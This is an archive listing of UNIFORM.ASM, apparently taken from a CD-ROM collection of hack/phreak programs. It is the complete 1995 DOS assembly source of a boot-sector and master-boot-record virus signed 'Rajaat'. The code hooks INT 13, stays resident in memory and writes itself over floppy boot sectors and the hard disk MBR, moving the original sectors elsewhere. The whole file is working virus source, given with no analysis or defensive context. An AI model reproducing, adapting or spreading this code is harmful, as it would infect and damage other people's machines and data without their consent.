home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / RJUPDAT2.ZIP / UNIFORM.ZIP / UNIFORM.ASM < prev   
Assembly Source File  |  1995-12-17  |  10KB  |  271 lines
  1. .model tiny
  2. .code
  3. .radix 16
  4.  
  5. boot_info               struc                   ; bootsector structure
  6.   oem_name              db 8 dup (?)            ; oem name and version
  7.   sect_size             dw ?                    ; bytes per sector
  8.   clust_size            db ?                    ; sectors per cluster
  9.   res_secs              dw ?                    ; reserved sectors before fat
  10.   fat_count             db ?                    ; number of fats
  11.   root_size             dw ?                    ; maximum root entries
  12.   tot_secs              dw ?                    ; total sectors on disk
  13.   media_type            db ?                    ; media type (unreliable)
  14.   fat_size              dw ?                    ; sectors in fat (per fat)
  15.   track_secs            dw ?                    ; sectors per track
  16.   head_count            dw ?                    ; number of heads
  17.   hidn_secs             dw ?                    ; hidden sectors
  18. boot_info               ends
  19.  
  20. BASE            equ 7c00
  21.  
  22. ;******************************************************************************
  23.                 org 100
  24.  
  25. install:        mov ah,9
  26.                 lea dx,msg
  27.                 int 21
  28.                 mov ax,3513
  29.                 int 21
  30.                 mov [old_int13],bx
  31.                 mov [old_int13+2],es
  32.                 mov ax,ds
  33.                 add ax,7c0
  34.                 mov ds,ax
  35.                 lea dx,new_int13-BASE
  36.                 mov ax,2513
  37.                 int 21
  38.                 lea dx,virus_end+400
  39.                 int 27
  40. msg             db 0dh,0ah,'UNIFORM installed in memory!',0dh,0ah,'$'
  41. ;******************************************************************************
  42.                 org 7c00
  43.  
  44. virus           equ $                           ; virus also begins
  45.  
  46. boot_sector     equ $
  47.                 jmp boot_start                  ; jump to bootsector code
  48.                 db 90
  49.  
  50. boot_data       boot_info <'UNIFORM '>          ; bootsector info
  51.  
  52.                 org boot_sector+3e              ; bootsector code
  53.  
  54. boot_start:     cli                             ; set initial registers, like
  55.                 xor bx,bx                       ; stack and data segment
  56.                 mov ds,bx
  57.                 mov ss,bx
  58.                 mov si,7c00
  59.                 mov sp,si
  60.                 sti
  61.  
  62.                 sub word ptr ds:[413],virus_size_k ; reserve space for virus
  63.                 int 12
  64.  
  65.                 push cs
  66.                 pop ds
  67.                 mov cl,6                        ; read rest of virus in
  68.                 shl ax,cl                       ; memory below tom
  69.                 push ax
  70.                 mov es,ax
  71.                 xor di,di
  72.                 mov cx,100
  73.                 rep movsw
  74.                 mov ax,offset init_boot-BASE
  75.                 push ax
  76.                 retf
  77.  
  78. old_int13       dw 0,0                          ; old int 13 pointer
  79.  
  80. init_boot:      xor ax,ax
  81.                 mov ds,ax
  82.                 cli
  83.                 lea di,old_int13-BASE
  84.                 lea ax,new_int13-BASE           ; hook the int 13 vector
  85.                 xchg ax,ds:[4*13]
  86.                 stosw
  87.                 mov ax,cs
  88.                 xchg ax,ds:[4*13+2]
  89.                 stosw
  90.  
  91.                 sti
  92.  
  93.                 xor ax,ax                       ; read the original sector
  94.                 mov es,ax                       ; at 0000:7C00
  95. read_main_body: mov bx,7c00
  96.                 push es
  97.                 push bx
  98.                 mov ax,0201
  99.                 mov dx,0                        ; this gets modified
  100. drivehead       equ word ptr $-2
  101.                 mov cx,0                        ; this gets modified
  102. sectortrack     equ word ptr $-2
  103.                 int 13
  104.                 jc read_main_body               ; loop to read_main_body when
  105.                                                 ; a read error is occured
  106.  
  107. infect_mbr_now: mov ax,0201                     ; this reads the mbr while
  108.                 lea bx,virus_end-BASE           ; the virus is resident,
  109.                 push cs                         ; causing a mbr infection
  110.                 pop es
  111.                 mov cx,1
  112.                 mov dx,80
  113.                 int 13
  114.  
  115.                 retf                            ; return to 0000:7C00
  116.  
  117. check_boot:     push es                         ; checks to see if the boot
  118.                 pop ds                          ; sector is the same as the
  119.                 push cs                         ; virus image. the zero flag
  120.                 pop es                          ; is set when they are the same
  121.                 mov si,bx
  122.                 add si,boot_data-boot_sector
  123.                 lea di,boot_data-BASE
  124.                 mov cx,8
  125.                 rep cmpsb
  126.                 or cx,cx
  127.                 ret
  128.  
  129. chain_to_int13: jmp dword ptr cs:[old_int13-BASE] ; chain to original int 13
  130.  
  131. handle_int13:   pushf                           ; call the original int 13
  132.                 call dword ptr cs:[old_int13-BASE]
  133.                 ret
  134.  
  135. new_int13:      cmp ah,2                        ; is it a read command
  136.                 jne chain_to_int13              ; no -> chain_to_int13
  137.                 cmp dh,0                        ; is it head 0
  138.                 jne chain_to_int13              ; no -> chain_to_int13
  139.                 cmp cx,1                        ; is it sector 1
  140.                 jne chain_to_int13              ; no -> chain_to_int13
  141.                 cmp dl,2                        ; is it diskdrive
  142.                 ja harddisk                     ; no -> harddisk
  143.  
  144. handle:         call handle_int13
  145.                 jnc boot_read
  146.                 retf 2
  147.  
  148. harddisk:       cmp dl,80                       ; is it the harddisk
  149.                 jne chain_to_int13              ; no -> chain_to_int13
  150.                 call handle_int13
  151.                 jnc handle_mbr
  152.                 retf 2
  153.  
  154. handle_mbr:     pushf
  155.                 push ds es si di cx
  156.                 call check_boot
  157.                 jnz infect_mbr
  158.                 pop cx
  159.                 mov cx,3
  160.                 jmp read_mbr
  161.  
  162. infect_mbr:     mov ax,0301
  163.                 mov cx,3
  164.                 mov cs:[sectortrack-BASE],cx
  165.                 mov cs:[drivehead-BASE],dx
  166.                 push ds
  167.                 pop es
  168.                 call handle_int13
  169.                 jc it_is_done
  170.                 mov ax,0301
  171.                 lea bx,boot_sector-BASE
  172.                 mov cx,1
  173.                 push cs
  174.                 pop es
  175.                 call handle_int13
  176. it_is_done:     jmp wrong_media
  177.  
  178. boot_read:
  179.                 pushf
  180.                 push ds es si di cx
  181.                 call check_boot
  182.                 jnz infect_boot
  183.                 push ds
  184.                 pop es
  185.                 pop cx
  186.                 push bx bp
  187.                 call find_data_sector
  188.                 dec ax
  189.                 call convert_sector
  190.                 pop bp bx
  191. read_mbr:       mov ax,0201
  192. boot_done:      pop di si es ds
  193.                 popf
  194.                 jmp chain_to_int13
  195.  
  196. infect_boot:    add si,cx
  197.                 add di,cx
  198.                 push ax bx dx bp
  199.                 mov cx,3e-0bh
  200.                 rep movsb
  201.                 push ds
  202.                 pop es
  203.                 push bx bp
  204.                 call find_data_sector
  205.                 dec ax
  206.                 call convert_sector
  207.                 pop bp
  208.                 mov cs:[drivehead-BASE],dx
  209.                 mov cs:[sectortrack-BASE],cx
  210.                 push cx dx es
  211.                 push cs
  212.                 pop es
  213.                 mov ax,0301
  214.                 xor dh,dh
  215.                 mov cx,1
  216.                 lea bx,boot_sector-BASE
  217.                 call handle_int13
  218.                 jnc boot_altered
  219.                 pop es dx cx bx
  220. write_protect:  pop bp dx bx ax
  221. wrong_media:    pop cx di si es ds
  222.                 popf
  223.                 iret
  224.  
  225. boot_altered:   push ax bx bp
  226.                 call find_data_sector
  227.                 dec ax
  228.                 call convert_sector
  229.                 pop bp bx ax
  230.                 pop es dx cx bx
  231.                 mov ax,0301
  232.                 call handle_int13
  233.                 jmp write_protect
  234.  
  235. convert_sector: div es:[bp.track_secs+3]                ; convert sector format
  236.                 inc ah                                  ; to cylinder, head and
  237.                 xchg cl,ah      ; cl = sector           ; sector format
  238.                 xor ah,ah
  239.                 div es:[bp.head_count+3]
  240.                 mov dh,ah
  241.                 mov ch,al
  242.                 ret
  243.  
  244. find_data_sector:                               ; locate the first data sector
  245.                 mov bp,bx                       ; of the drive
  246.                 xor dx,dx
  247.                 mov ax,es:[bp.fat_size+3]
  248.                 xor cx,cx
  249.                 mov cl,es:[bp.fat_count+3]
  250.                 mul cx
  251.                 add ax,es:[bp.res_secs+3]
  252.                 mov bx,ax
  253.                 mov ax,es:[bp.root_size+3]
  254.                 mov cl,20
  255.                 mul cx
  256.                 mov cx,es:[bp.sect_size+3]
  257.                 div cx
  258.                 add ax,bx
  259.                 ret
  260.  
  261.                 db 'Rajaat'
  262.  
  263.                 org boot_sector+1fe
  264.  
  265.                 dw 0aa55                        ; bootsector signature
  266.  
  267. virus_end       equ $
  268. virus_size_k    equ (($-virus) / 400) + 1       ; virus size in kilobytes
  269.  
  270. end install                                     ; end of virus code
  271.